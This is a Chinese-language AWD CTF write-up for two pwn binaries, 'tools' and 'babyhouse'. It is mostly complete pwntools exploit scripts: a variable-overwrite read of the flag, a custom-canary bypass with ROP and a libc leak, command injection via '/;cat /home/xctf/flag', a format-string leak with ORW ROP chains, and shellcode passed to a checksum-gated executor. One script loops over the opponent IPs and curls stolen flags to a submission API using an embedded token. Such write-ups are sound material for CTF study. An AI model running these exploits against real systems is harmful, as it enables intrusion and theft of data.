tools
题目环境:ubuntu16:04
题目信息:
❯ file tools
tools: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3b786167921bb6dab6e69de7e5f074391f208825, stripped
root@Radish /Desktop/pwn
❯ checksec --file=./tools
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 4 ./tools
漏洞一
题目给了一个后门选项666
,在backdoor
函数中,在读入Username
时,由于读入过长产生变量覆盖,可以覆盖到栈上的文件名,因此直接覆盖成flag的地址即可获取flag
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
sub_400AA5(a1, a2, a3);
sub_400BC4();
sub_401515();
while ( 1 )
{
while ( 1 )
{
write(1, "CMD>> ", 6uLL);
v3 = sub_400B87();
if ( v3 == 2 )
sub_4013FB();
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_13;
sub_400D77();
}
if ( v3 == 3 )
return 0LL;
if ( v3 == 666 )
backdoor();
LABEL_13:
puts("Invalid CMD");
}
}
void __noreturn backdoor()
{
char v0; // [rsp+0h] [rbp-80h]
__int64 v1; // [rsp+10h] [rbp-70h]
char v2[88]; // [rsp+20h] [rbp-60h]
int fd; // [rsp+78h] [rbp-8h]
int i; // [rsp+7Ch] [rbp-4h]
puts("If you want to renew the software, please enter your serial number on the official website!");
puts("Now, enter your username and the software will generate a serial number for you~");
strcpy((char *)&v1, "/dev/urandom");
printf("UserName: ");
sub_400B01(&v0, 32LL);
fd = open((const char *)&v1, 0);
read(fd, v2, 0x50uLL);
close(fd);
printf("%s's SerialNumber: ", &v0);
for ( i = 0; i <= 79; ++i )
printf("%02x", (unsigned __int8)v2[i]);
puts(&byte_401C6A);
exit(1);
}
exp_1:
#coding:utf-8
from pwn import *
# context.log_level='debug'
AUTHOR="萝卜啊啊啊啊啊啊"
debug = 1
file_name = './tools'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = ''
prot = ''
if debug:
r = process(file_name)
libc = ELF(libc_name)
else:
r = remote(ip,int(prot))
libc = ELF(libc_name)
def debug():
gdb.attach(r)
raw_input()
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
index = 0
for x in range(15):
try:
ip = "172.35.{}.12".format(x+1)
prot = '9999'
# print ip
r = remote(ip,int(prot))
ru("CMD>> ")
sl("666")
ru("UserName: ")
payload = "a"*0x10+"/home/xctf/flag"
sl(payload)
rud("'s SerialNumber: ")
data = rud("\n")
flag = data.decode("hex")[:60]
print flag
# submit_flag(flag)
payload = "curl http://192.168.20.100/api/v1/att_def/web/submit_flag/?event_id=6 -d \"flag={}&token=2uvsXchvDtj2VwMUESDfuEAjMBkKYVEKDmtDDrX44fTYG\"".format(flag)
os.system(payload)
index+=1
except:
print ip
r.close()
print "本轮共拿到"+str(index)+"个队伍的flag"
漏洞二
选项二实现了一个计算器的功能,在进入计算器功能前,用户可以进行输入用户名,代码如下所示:
__int64 sub_401320()
{
__int64 result; // rax
char s; // [rsp+0h] [rbp-30h]
char v2; // [rsp+20h] [rbp-10h]
int v3; // [rsp+24h] [rbp-Ch]
__int64 v4; // [rsp+28h] [rbp-8h]
v4 = sub_400F47();
printf("UserName: ");
sub_400B01(byte_6030A0, 0x48LL);
v3 = snprintf(&s, 0x20uLL, "%s's calculator ^_^", byte_6030A0);// 栈溢出
printf("CalcName: %s\n", &s);
puts("Do you like the CalcName automatically generated by the system? [Y/N]");
sub_400B01(&v2, 2LL);
if ( v2 == 'N' )
{
printf("New CalcName: ");
sub_400B01(&s, v3);
}
sub_4011F8();
result = sub_400FD0();
if ( result != v4 )
exit(-1);
return result;
}
sub_400B01(byte_6030A0, 0x48LL);
读入字符串后,又调用了snprintf
函数对输入的字符串进行拼接,官方解释如下所示,返回值是欲写入的字符串长度。
在第一次读入用户名之后还有一次读入的机会,而第二次读入的长度是我们可控的,可以造成栈溢出。
棘手的是,虽然程序没有开启Canary保护,但是程序中自己实现了canary保护的机制,canary经过调试发现是存在堆块上的。
现在需要来绕过canary的限制,接着进入到计算器的功能中,有加减乘除四个选项,每次计算之后都可以存储到堆上的一个位置。
这个位置是在canary之前的,而每次计算的值存到堆上的地址时依次增加的,所以我们如果计算多次的话,就可以覆盖到堆块上存储的canary。原理如下图所示:
在第二次输入Username的时候,就把canary设置成和覆盖的一样,就可以绕过canary的保护了,进而栈溢出拿flag即可。
exp_2:
#coding:utf-8
from pwn import *
context.log_level='debug'
AUTHOR="萝卜啊啊啊啊啊啊"
debug = 1
file_name = './tools'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = ''
prot = ''
if debug:
r = process(file_name)
libc = ELF(libc_name)
else:
r = remote(ip,int(prot))
libc = ELF(libc_name)
def debug():
gdb.attach(r)
raw_input()
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
def exp_sub(num1,num2,sign):
ru("CMD>> ")
sl("2")
ru("Num1: ")
sl(str(num1))
ru("Num2: ")
sl(str(num2))
ru("Save? [Y/N]")
sl(sign)
start = 0x400990
puts_plt = file.plt['puts']
puts_got = file.got['puts']
p_rdi = 0x0000000000401643# : pop rdi ; ret
pp_rsi = 0x0000000000401641# : pop rsi ; pop r15 ; ret
flag_str = 0x6030d4#/home/xctf/flag
readflag_addr = 0x40148E
ru("CMD>> ")
sl("2")
ru("UserName: ")
sd("a"*0x38+"/home/xctf/flag\x00")
ru("Do you like the CalcName automatically generated by the system? [Y/N]")
sl("N")
ru("New CalcName: ")
canary = 0x0000000000000001
sl("/home/xctf/flag\x00"+"a"*0x18+p64(canary)+p64(1)+p64(p_rdi)+p64(puts_got)+p64(puts_plt)+p64(start))
debug()
for x in range(35):
exp_sub(2,1,"Y")
# debug()
ru("CMD>> ")
sl("5")
libc_base = u64(r.recv(6)+"\x00\x00")-libc.symbols['puts']
li("libc_base",libc_base)
binsh = 0x000000000018ce17+libc_base
system = libc_base+libc.symbols['system']
#再次栈溢出进行读flag
ru("CMD>> ")
sl("2")
ru("UserName: ")
sd("a"*0x34+"cat /home/xctf/flag\x00")
ru("Do you like the CalcName automatically generated by the system? [Y/N]")
sl("N")
ru("New CalcName: ")
canary = 0x0000000000000001
sl("/home/xctf/flag\x00"+"a"*0x18+p64(canary)+p64(1)+p64(p_rdi)+p64(flag_str)+p64(system))
# debug()
for x in range(35):
exp_sub(2,1,"Y")
# debug()
ru("CMD>> ")
sl("5")
ri()
比赛时抓到其他队伍的攻击流量,是通过orw来进行读取flag。
babyhouse
题目环境:ubuntu18:04
题目信息:
radish ➜ pwn2 file babyhouse
babyhouse: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=9a83b6747a475098e28a86c818257ca9688437ec, stripped
radish ➜ pwn2 checksec --file=./babyhouse
[*] '/media/psf/Home/Desktop/pwn/pwn2/babyhouse'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
radish ➜ pwn2
本道题目漏洞有点多。首先题目提供了5个功能,分别是ls、cat、sh、zip、print
漏洞一
在ls功能中,程序用ls
来拼接输入的字符,代码如下图所示:
对于输入没有进行过滤,直接传入到system函数执行,导致可以执行任意命令
exp_1:
from pwn import *
# context.log_level='debug'
file_name = './babyhouse'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
r = process(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
ru("> ")
sl("ls")
ru("Dir: ")
# debug()
sl("/;cat /home/xctf/flag\x00")
ri()
漏洞二
在ls
功能中,输入命令的时候,输入长度过长导致栈溢出,因为程序开启了PIE,所以要配合print
功能中的格式化字符串漏洞来泄露地址
exp_2:
from pwn import *
context.log_level='debug'
file_name = './babyhouse'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
libc = ELF(libc_name)
r = process(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
def debug():
gdb.attach(r)
raw_input()
ru(">")
sl("print")
ru("Content: ")
sl("%21$p")
libc_base = eval(rud(">"))-0x21b97
li("libc_base",libc_base)
p_rdi = libc_base + 0x000000000002155f# : pop rdi ; ret
system = libc_base+libc.symbols['system']
binsh = 0x00000000001b40fa+libc_base
one_gg = 0x4f365 + libc_base
li("system",system)
li("binsh",binsh)
# ru(">")
sl("print")
ru("Content: ")
sl("%9$p")
elf_base = eval(rud(">"))-0x2262
li("elf_base",elf_base)
flag_addr = 0x205370 + elf_base
p_rdi = libc_base + 0x000000000002155f# : pop rdi ; ret
p_rsi = libc_base + 0x0000000000023e8a# : pop rsi ; ret
p_rdx = libc_base + 0x0000000000001b96# : pop rdx ; ret
open_addr = libc_base + libc.symbols['open']
read_addr = libc_base + libc.symbols['read']
write_addr = libc_base + libc.symbols['write']
start_addr = elf_base + 0x01FC0
payload = "/\x00"+"a"*(0xd+6)+p64(p_rdi)+p64(0)+p64(p_rsi)+p64(flag_addr)+p64(p_rdx)+p64(0x10)+p64(read_addr)+p64(start_addr)
# debug()
sl("ls")
ru(" Dir: ")
sl(payload)
sd("/home/xctf/flag\x00")
li("p_rdi",p_rdi)
payload_2 = "/\x00"+"a"*(0xd+6)+p64(p_rdi)+p64(flag_addr)+p64(p_rdx)+p64(0)+p64(open_addr)+p64(start_addr)
sl("ls")
ru(" Dir: ")
sl(payload_2)
payload_3 = "/\x00"+"a"*(0xd+6)+p64(p_rdi)+p64(3)+p64(p_rsi)+p64(flag_addr)+p64(p_rdx)+p64(0x50)+p64(read_addr)+p64(start_addr)
sl("ls")
ru(" Dir: ")
sl(payload_3)
# debug()
payload_4 = "/\x00"+"a"*(0xd+6)+p64(p_rdi)+p64(1)+p64(p_rsi)+p64(flag_addr)+p64(p_rdx)+p64(0x50)+p64(write_addr)+p64(start_addr)
sl("ls")
ru(" Dir: ")
sl(payload_4)
ri()
漏洞三
在sh
功能中直接是将用户输入当做命令执行。
exp_3:
from pwn import *
context.log_level='debug'
file_name = './babyhouse'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
libc = ELF(libc_name)
r = process(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
ru(">")
sl("sh")
ru("Command: ")
sl("sh")
sl("cat /home/xctf/flag\x00")
ri()
漏洞四
zip
功能中,如果我们输入的字符串的ascii码相加是”0xa”的倍数的话,程序就可以把我们的输入作为代码来执行,导致可以执行shellcode。
from pwn import *
context.log_level='debug'
context.arch = 'amd64'
file_name = './babyhouse'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
libc = ELF(libc_name)
r = process(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
def debug():
gdb.attach(r)
raw_input()
ru(">")
sl("zip")
# debug()
ru("Content to zip: ")
shellcode = asm(shellcraft.sh())+"\x90\x90"+"\x05"
sum = 0
for x in range(len(shellcode)):
sum += ord(shellcode[x])
# print sum
sl(shellcode)
sl("cat /home/xctf/flag\x00")
ri()
总结
1、本次提供靶机连接方式是通过id_rsa
文件来登录靶机,id_rsa、id_rsa.pub
文件的属性需要是600
,连接命令:ssh -i ./id_rsa xctf@172.35.13.11
2、在AWD中,Pwn流量审计也是很重要的。由于这次试用的是XCTF的平台,提供了Pwn的攻击流量,所以在比赛中自己也通过流量拿到过某个攻击链。然后把流量中的数据修改成脚本,直接开打。
3、Patch还是要谨慎的,不然会判宕机。一方面是要确定漏洞修复之后不能再利用此漏洞进行攻击,另一方面修复之后不影响程序其他功能和程序的正常运行。为了更好的避免被平台判宕机,可以通过流量找到check机器发出check程序是否正常的流量,根据这些数据来进行修补会好很多。